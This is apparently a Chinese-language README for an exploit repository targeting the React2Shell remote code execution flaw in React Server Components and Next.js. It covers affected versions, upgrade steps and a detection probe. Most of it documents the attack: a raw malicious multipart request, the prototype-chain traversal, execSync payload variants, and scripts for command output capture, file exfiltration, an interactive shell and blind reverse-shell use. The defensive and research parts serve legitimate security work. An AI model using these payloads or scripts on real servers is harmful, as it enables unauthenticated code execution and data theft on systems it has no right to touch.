CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)
本仓库仅包含用于授权安全测试和教育目的的漏洞利用代码。
另请参阅: 多位研究人员已发布对此漏洞的分析。请查阅参考资料部分,获取更多攻击技术、检测方法及分析视角。
2025年12月3日(星期三),React Server Components 中一个严重的远程代码执行漏洞被公开披露。该漏洞被命名为“React2Shell”,允许未认证攻击者通过发送单个 HTTP 请求,在运行受影响版本的 React RSC 或 Next.js App Router 的任何服务器上执行任意代码。
鉴于 Next.js 的广泛使用——它支撑着现代 Web 的很大一部分——此漏洞的影响十分严重。任何使用 App Router(Next.js 13 以来新项目的默认配置)且启用了 RSC 的 Next.js 应用程序都存在漏洞。无需特殊配置,无需特定端点,只需向任意路由发送一个 POST 请求即可。
漏洞存在于 React 的“Flight”协议中,这是 React Server Components 用于在服务器和客户端之间传递数据的序列化格式。在反序列化过程中缺少 hasOwnProperty 检查,使得攻击者可以遍历原型链,最终到达 JavaScript 的 Function 构造函数并执行攻击者控制的代码。
该缺陷存在于 React 的 react-server-dom-webpack、react-server-dom-turbopack 和 react-server-dom-parcel 包中。Next.js 作为主要的 RSC 使用者,通过其 App Router 继承了此漏洞。
许多服务都可能存在漏洞。Next.js 是最流行的 React 框架之一,被从初创公司到大型企业的各类公司使用。自 13 版本起,App Router 与 React Server Components 已成为新 Next.js 项目的默认架构,这意味着大多数现代 Next.js 部署都受影响。
使用以下组件的任何应用程序:
react-server-dom-* 包(19.0.0 - 19.2.0)这包括在 Vercel、AWS、自托管基础设施以及任何运行 Next.js App Router 应用程序的生产环境部署。
不受影响:
process.mainModule 可用)| 包 | 受影响版本 | 修复版本 |
|---|---|---|
react-server-dom-webpack |
立即升级。 无其他解决方案。
对于 Next.js 应用程序:
npm install next@latest
# 或
pnpm update next
对于直接使用 React RSC 的情况:
npm install react-server-dom-webpack@latest
验证已安装的版本:
npm ls next react-server-dom-webpack react-server-dom-turbopack
该漏洞已发现多种攻击向量。最常见且无需任何前置条件的方法是利用 React Flight 协议引用系统进行原型污染。
漏洞利用发送一个精心构造的 multipart POST 请求,并携带 Next-Action 头。载荷滥用引用系统来:
$1:__proto__:then 遍历原型链Function 构造函数POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
代码在反序列化过程中执行,早于任何 Action ID 验证。这意味着任何 Next-Action 头值都会触发易受攻击的代码路径——无需有效的 Action ID。
其他攻击向量 也存在,包括
$F函数引用和直接模块 gadget。这些通常需要一个有效的 Action ID。详情见替代攻击向量。
React 的 Flight 协议通过以冒号分割并遍历对象来解析像 $1:path:to:value 这样的引用:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 没有 hasOwnProperty 检查!
}
讽刺的是: 就在这个文件的开头,第 35 行:
import hasOwnProperty from 'shared/hasOwnProperty';防护措施被导入了,可用,但没有在最关键的循环中使用。
这唯一缺失的检查允许 $1:__proto__:then 从一个 chunk 对象出发,向上遍历原型链,到达 Chunk.prototype.then —— 一个处理类 Promise 对象的函数。通过构造一个具有适当属性的伪造 chunk,我们控制哪些代码会被执行。
克隆存在漏洞的测试服务器:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
在另一个终端:
./detect.sh http://localhost:3443
存在漏洞的服务器会返回 HTTP 500,响应体中包含 E{"digest"。要演示 RCE:
./exploit-redirect.sh http://localhost:3443 "id"
命令输出会出现在响应中。交互式探索:
./shell.sh http://localhost:3443
vulnerable-next-server/ 目录包含一个预先配置好的 Next.js 16.0.6 + React 19.2.0 应用程序,用于安全的本地测试。默认运行在 3443 端口。这是一个最小的 App Router 设置,演示默认配置即存在漏洞。
我们开发了多种利用变体以应对不同场景:
生产环境注意: React 在生产构建中会剥离错误消息,导致
throw方法失效。只有exploit-redirect.sh能在生产环境中无需前置条件可靠地捕获命令输出。重定向 URL 存储在错误的digest属性(元数据)中,该属性不会被清理——而message属性在生产环境中只会变成{digest: "..."}。
实用脚本:
detect.sh — 非破坏性的漏洞探测(不执行代码)enumerate-actions.sh — 从目标 HTML 中发现有效的 Server Action IDexfil-file.sh — 分块文件外传(自动处理大文件)shell.sh — 基于 RCE 的交互式伪 Shell推荐使用重定向方法,因为它适用于生产环境,无需前置条件,且直接返回命令输出。其原理是抛出一个精心构造的 NEXT_REDIRECT 错误——输出被 Base64 编码到重定向 URL 中,并随 x-action-redirect 头返回。
每个脚本的详细用法,请参阅 USAGE.md。
./detect.sh https://target.com
这发送一个最小探测,触发漏洞代码路径但不执行任意代码。
存在漏洞的服务器响应:
text/x-componentE{"digest"已修复或无 RSC 的服务器: 返回 404、不同的错误格式,或无 Flight 协议响应。
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
此探测引用了空对象上一个不存在的属性。存在漏洞的服务器在尝试访问 {}.a.a 时会崩溃,返回 500。已修复的服务器有 hasOwnProperty 防护,可防止崩溃。
寻找以下特征:
0:, 1:, 等)的 <script> 标签x-nextjs-cache 或 x-nextjs-matched-path 头/_next/ 静态资源路径$ACTION_ID_ 模式下图展示了一个 HTTP 请求如何实现远程代码执行:
sequenceDiagram
participant A as 攻击者
participant N as Next.js
participant F as Flight 解析器
participant JS as JS 引擎
A->>N: POST 请求(Next-Action 头 + 恶意载荷)
N->>F: 解析 multipart 表单数据
F->>JS: await getRoot - 将 chunk 作为 thenable 返回
rect rgb(80, 20, 20)
Note over F,JS: 漏洞 - 缺少 hasOwnProperty 检查
JS->>F: chunk.then 解析 $1:__proto__:then
F-->>F: 遍历到 Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise 规范:resolve(thenable)<br/>调用 thenable.then()
JS->>F: fakeChunk.then() 使用攻击者的 _response
rect rgb(80, 20, 20)
Note over F,JS: 利用 - 攻击者控制 _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function 构造函数<br/>_prefix = 恶意代码字符串
F->>JS: Function(code) 作为 thenable 被调用
end
Note over JS: RCE - execSync() 执行
rect rgb(20, 60, 20)
Note over A,JS: 输出外传(重定向方法)
JS-->>F: throw NEXT_REDIRECT(带 Base64 输出)
F-->>N: 错误向上传播
N-->>A: HTTP 303 + x-action-redirect 头
endReact Server Components 使用一种名为“Flight”的自定义序列化格式,将组件树从服务器流式传输到客户端。它使用前缀代码来表示不同的值类型:
$1, $2, ... — 对其他 chunk 的引用(按 ID)$@0 — 原始 chunk 对象引用(返回 chunk 本身,而非其值)$B0 — Blob 引用(触发 _formData.get(_prefix + id))$1:path:to:prop — 在被引用 chunk 的值上遍历路径该漏洞利用了 $@(原始引用)与冒号分隔路径的组合,来访问 __proto__。
阶段 1:请求处理
Next-Action 头的 POST 请求,触发 RSC Action 处理await getRoot(response) 将 chunk 0 作为 thenable 返回阶段 2:原型遍历
then 方法——JS Promise 规范调用 thenable.then(resolve, reject)$1:__proto__:then 解析为 Chunk.prototype.thenthen、status: "resolved_model" 和 _response 创建伪造的 chunk 对象阶段 3:代码执行
resolve(ourObject) 触发另一个 then() 调用(JS thenable 规范)Chunk.prototype.then 使用我们控制的 _response 对象运行$B0 触发 _formData.get(_prefix + "0")——两者均由攻击者控制阶段 4:输出外传 (可选,重定向方法)
NEXT_REDIRECT 错误x-action-redirect 头构造的 Function 作为 thenable 被调用:fn(resolve, reject)。我们如何处理它决定了是否能获取输出:
推荐:重定向。 适用于生产环境,无需前置条件,输出在 x-action-redirect 头中。
盲打方法导致连接挂起,因为 Promise 永远不会解决——await 永远阻塞。这在发射后不管的场景中使用(反向 Shell,通过 curl 进行 OOB 外传)。
核心漏洞已有三种不同的攻击类被利用。本仓库使用第一种方法;其他 PoC 展示了替代方案:
为什么原型污染不需要 Action ID: Multipart 表单解析会立即将 chunk 送入 Flight 反序列化器。RCE 发生在 getOutlinedModel() 中的 chunk 引用解析期间——在 Next.js 验证 Action ID 之前。URL 编码请求会先验证 Action ID(不同的代码路径,位于 action-handler.ts:768)。
为什么 $F 引用需要 Action ID: $F 引用会触发 loadServerReference(),后者执行 manifest 查找。如果 Action 不存在,请求会在代码执行前失败。
所有 PoC 实现的详细比较,请参见 external-pocs/COMPARISON.md。
React 在生产构建中会剥离错误详情。这会影响基于 throw 的外传方法:
开发环境:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
生产环境:
{"digest":"..."}
重定向方法规避了此问题,因为重定向 URL 存储在 digest 属性中,而非 message。在 URL 验证之前就会无条件设置头,因此即使 URL 无效也会设置该头。
关键的利用洞察——使用 $@ 原始 chunk 引用来创建自引用的伪造 chunk——归功于 maple3142。此处引用的检测方法来自 Searchlight Cyber / Assetnote。
官方披露:
社区研究:
所有 PoC 实现详细比较,请参见 external-pocs/COMPARISON.md。
背景:
代码采用 MIT 许可证 授权。文档(*.md 文件)采用 CC-BY-SA 4.0 授权。
| 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| 版本线 | 受影响版本 | 修复版本 |
|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
| 脚本 | HTTP 状态 | 输出 | 生产环境 | 备注 |
|---|
exploit-redirect.sh | 303 | x-action-redirect 头 | 是 | 推荐。 无需前置条件。 |
exploit-throw.sh | 500 | 错误响应体 | 否 | 仅开发模式(生产环境错误信息被清理)。 |
exploit-blind.sh | 200 | 仅服务端 | 是 | 发射后不管。用于 OOB 外传。 |
exploit-urlencoded.sh | 303 | x-action-redirect 头 | 是 | 不同的 WAF 签名。需要 Action ID。 |
exploit-reflect.sh | 200 | 响应体 | 是 | 最隐蔽。需要 Action ID。 |
| 策略 | 载荷后缀 | 工作原理 |
|---|
| 盲打 | execSync('CMD');0 | 执行但不解决——连接挂起,无输出 |
| 抛出 | throw execSync('CMD').toString() | 拒绝 Promise,输出在错误体(仅开发模式) |
| 重定向 | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | 滥用 Next.js 重定向处理,输出在头中 |
| 反射 | arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()]) | 解决 Promise,输出作为 Action 参数(需要有效 Action ID) |
| 攻击类 | 机制 | 需要 Action ID | PoC 示例 |
|---|
| 原型污染 | $1:__proto__:then 遍历到 Chunk.prototype | 否 | react2shell, lachlan2k, joe-desimone |
| $F 函数引用 | $F1 + action#constructor 到达 Function | 是 | shellinteractive |
| 模块 Gadget | module#export 语法(例如 child_process#execSync) | 视情况而定 | ejpir 研究 |
| 作者 | 贡献 | 攻击路径 | 显著特点 |
|---|
| lachlan2k | 原始发现者 | 原型污染 | Array.map 链式调用,5-chunk 结构,Waku 支持 |
| ejpir | Gadget 研究 | 所有路径 | 模块 Gadget 目录,持久化攻击,数据 URI 路径 |
| joe-desimone | Python 工具化 | 原型污染 | 反向 Shell 辅助,回调外传,超时检测 |
| labubusDest / MrR0b0t19 | 交互式 Shell | $F 函数引用 | Python REPL,文件上传/下载,内置测试套件 |
| Searchlight Cyber | 检测方法 | — | 高保真检测方法,WAF 签名 |